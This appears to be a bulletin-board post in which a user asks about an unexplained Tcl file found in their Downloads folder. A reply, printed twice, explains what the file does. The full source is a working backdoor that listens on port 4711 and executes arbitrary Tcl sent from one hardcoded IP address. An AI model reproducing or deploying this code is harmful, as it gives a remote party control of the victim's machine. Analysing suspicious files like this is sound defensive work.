I just saw a file in my Downloads folder named "tclshare.tcl". I have no recollection of downloading it and my browser doesn't have it in its
history either.
I am curious to learn more about what it does. Here is the file:
----
set s [socket -server foo 4711]
fconfigure $s -buffering line -blocking no
proc foo {c h p} {
puts $c "Hello, $h"; flush $c
if {$h != "195.3.6.44"} { after 2000
puts $c "... and goodbye."
close $c; return
}
puts -nonewline $c "% "; flush $c
uplevel #0 [list set channels($c) $c]
fileevent $c readable [list foo_read $c]
}
proc foo_read {c} { global foo_cmd
set data [gets $c]
if {$data == "bye"} {foo_close $c; return}
if {[string range $data 0 3] == "I'm "} {
upvar "#0" channels($c) me; set me [string range $data 4 end]
} elseif {[string range $data 0 0] == "#"} {
foo_write_all $c [string range $data 1 end]
} else {
append foo_cmd "\n" $data
if {[info complete $foo_cmd]} {
catch {uplevel #0 $foo_cmd} res
set foo_cmd {}
if {$res != {}} {puts $c $res}
} else {
puts -nonewline $c "> "; flush $c; return
}
}
puts -nonewline $c "% "; flush $c
}
proc foo_write_all {c txt} { global channels
foreach ch [array names channels] {
puts $ch "$channels($c)> $txt"; flush $ch
}
}
proc foo_close {c} {
uplevel #0 [list unset channels($c)]
close $c
}
vwait dummy
It implements a server on port 4711 and will only communicate with
195.3.6.44 -- it shuts the door on any other clients. The server will execute
Tcl code, echoing comments (lines starting with #) and saving the client identity (when the client says "I'm ...").
It implements a server on port 4711 and will only communicate with
195.3.6.44 -- it shuts the door on any other clients. The server will execute
Tcl code, echoing comments (lines starting with #) and saving the client identity (when the client says "I'm ...").
| Sysop: | Keyop |
|---|---|
| Location: | Huddersfield, West Yorkshire, UK |
| Users: | 715 |
| Nodes: | 16 (3 / 13) |
| Uptime: | 142:47:18 |
| Calls: | 12,089 |
| Calls today: | 2 |
| Files: | 14,998 |
| Messages: | 6,517,455 |